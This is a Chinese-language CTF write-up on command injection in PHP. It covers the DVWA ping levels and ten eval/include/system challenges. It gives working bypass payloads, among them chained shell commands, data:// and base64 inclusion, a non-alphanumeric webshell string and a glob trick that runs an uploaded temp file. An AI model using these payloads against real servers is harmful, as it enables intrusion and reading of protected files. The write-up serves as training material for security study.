ctf命令执行(总结)


一、ctf-ping命令执行 

这类题我拿DVWA中的Low,Medium,High来举例。

0.介绍一下 &,&&,|,||

  A&B: 顺序执行多条命令,而不管命令是否执行成功

  A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令

  A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令

  A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

1.Low

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];
 6 
 7     // Determine OS and execute the ping command.
 8     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 9         // Windows
10         $cmd = shell_exec( 'ping  ' . $target );
11     }
12     else {
13         // *nix
14         $cmd = shell_exec( 'ping  -c 4 ' . $target );
15     }
16 
17     // Feedback for the end user
18     $html .= "<pre>{$cmd}</pre>";
19 }
20 
21 ?>

   stristr() 函数搜索字符串在另一字符串中的第一次出现,不区分大小写

  php_uname(参数) 返回了运行 PHP 的操作系统的描述。

  参数:'a':此为默认。 's':操作系统名称。 'n':主机名。 'r':版本名称。 'v':版本信息。 'm':机器类型。

  该题基本未进行任何过滤。

  命令执行漏洞利用(其中'&&'可进行替换):

    127.0.0.1 && dir    文件路径

    127.0.0.1 && ipconfig  网卡

    127.0.0.1 && arp -a    arp表

    127.0.0.1 && regedit   注册表

    127.0.0.1 && netstat -ano    端口信息

2.Medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

  str_replace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed

  Search: 查找的目标值,也就是 needle。一个数组可以指定多个目标。

  Replace:  search 的替换值。一个数组可以被用来指定多重替换。

  Subject: 执行替换的数组或者字符串。也就是 haystack。如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。

  Count: 如果被指定,它的值将被设置为替换发生的次数。

  $target = str_replace( array_keys( $substitutions ), $substitutions, $target );//过滤了&&、;

  加入了黑名单机制过滤了&&;,但是没有过滤掉&、|||所以依旧有漏洞存在

  命令执行漏洞利用:

    1.可以用|、&、||等符号连接两条命令。

    2.可以运用&&&、&;&连接两条命令。

    127.0.0.1 | dir

    127.0.0.1 || dir

    127.0.0.1 &&& dir

    127.0.0.1 &;& dir

    127.0.0.1 & dir

3.High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

   相较于medium级别,进一步完善了黑名单,过滤了'&' ,';','|  ','-','$','(',')','`','||'等字符,其中'|  '后,有空格。

  命令执行漏洞利用:没有过滤’|’:127.0.0.1 |dir

二、无输入框命令执行

我用10道题来进行分析(flag文件均在根目录下)

1.web1

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

   过滤了flag,所以我们可以利用*(*代表任意字符(0个或多个))来进行绕过

  /?c=system('ls /');(显示根目录下的文件夹列表)

  

  /?c=system('cat /f*');

  

2.web2

 1 <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 }

   在web1的基础上新过滤了system和php,我们可以利用其他函数替代system()

1 system()
2 passthru()
3 exec()
4 shell_exec()
5 popen()
6 proc_open()
7 pcntl_exec()
8 反引号 同shell_exec()   
例如:?c=passthru("cat%20/f*");

 

  

3.web3

 1  <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 } 

   在web2的基础上过滤了cat、sort、shell、'.'、空格、单引号。

  空格绕过

1 ${IFS}
2 $IFS$9
3 {cat,flag.php} //用逗号实现了空格功能
4 %20
5 %09

   cat绕过 

 1 more:一页一页的显示档案内容
 2 less:与 more 类似
 3 head:查看头几行
 4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
 5 tail:查看尾几行
 6 nl:显示的时候,顺便输出行号
 7 od:以二进制的方式读取档案内容
 8 vi:一种编辑器,这个也可以查看
 9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容
1 ?c=passthru("more%09/f*");

  

4.web4 

 1  <?php
 2 
 3 error_reporting(0);
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
 7         eval($c);
 8     }
 9     
10 }else{
11     highlight_file(__FILE__);
12 } 

 过滤了分号和括号。使用伪协议实现命令执行(详细可以查看https://blog.csdn.net/qq_41617034/article/details/90381572)。

 

 

 5.web

 1 <?php
 2 
 3 //flag in /flag
 4 //error_reporting(0);
 5 if(isset($_GET['c'])){
 6     $c = $_GET['c'];
 7     if(!preg_match("/flag/i", $c)){
 8         include($c);
 9         // echo $flag;
10     }
11         
12 }else{
13     highlight_file(__FILE__);
14 } 

 

 

 

  这里用到了include包含还过滤了flag,所以php://filter 就用不了。我们用data://协议

 

  data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

 

1 列子:?c=data://text/plain,<?php system('cat /f*');?>

 

 

 

 

 6.web6

<?php

// flag in /flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        // echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

 

 

 

  与web5相比较过滤了php所以我们利用base64绕过。

 

1 例子:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7

 

 

 

  

 

7.web7

 1 <?php
 2 
 3 
 4 if(isset($_GET['c'])){
 5     $c = $_GET['c'];
 6     if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\锛坾\锛墊\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
 7         eval($c);
 8     }
 9         
10 }else{
11     highlight_file(__FILE__);
12 }

 

 

   这题用到的知识点是 php无参数函数构造(可以参考https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%95%E5%9B%9B%EF%BC%9Asession-id

  

 

 

 8.web8

 <?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

 

 

  解释>/dev/null 2>&1:

 

分解这个组合:“>/dev/null 2>&1” 为五部分。

1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"

 

 

 

  所以我们只需要输入cat /flag||就可以

  

9.web9

 

 

 过滤了字母和数字,只能利用一些特殊字符,同时也不能上传文件。(可参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

?shell=$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
//2=system("cat /flag");

 

 

 

 

 

 10.web10

 

 

 1 <?php
 2 
 3 
 4 if(isset($_GET['c'])){
 5     $c=$_GET['c'];
 6     if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
 7         system($c);
 8     }
 9 }else{
10     highlight_file(__FILE__);
11 }

 

 

 

  利用网页上传文件。

  .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。用. file执行文件,是不需

file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

  这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。但是执行.

/tmp/phpXXXXXX,也是有字母的。

  Linux下的glob通配符:

  *可以代替0个及以上任意字符

  ?可以代表1个任意字符

  则/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????,但是因为能够匹配上/???/?????????这个通配符的文件有很多,而且由于前面的文件执行错误,导致后面的文件无法执行。我们可以对文件进行一一排除让我们需要的文件进行执行。

  glob支持用[^x]的方法来构造“这个位置不是字符x”。

  glob支持利用[0-9]来表示一个范围。(我们可以利用[@-[]来表示大写字母)

  传入的code为?><?=. /???/????????[@-[];?>绿色部分根据自己实际情况进行更改

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 6     <title>POST数据包POC</title>
 7 </head>
 8 <body>
 9 <form action="http://49.232.149.138:10028/" method="post" enctype="multipart/form-data">
10     <label for="file">文件名:</label>
11     <input type="file" name="file" id="file"><br>
12     <input type="submit" name="submit" value="提交">
13 </form>
14 </body>
15 </html>

 

  提交一个文件

 

#!/bin/sh
ls

 

 

 

  利用burpsuit进行抓包,利用命令输出flag。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM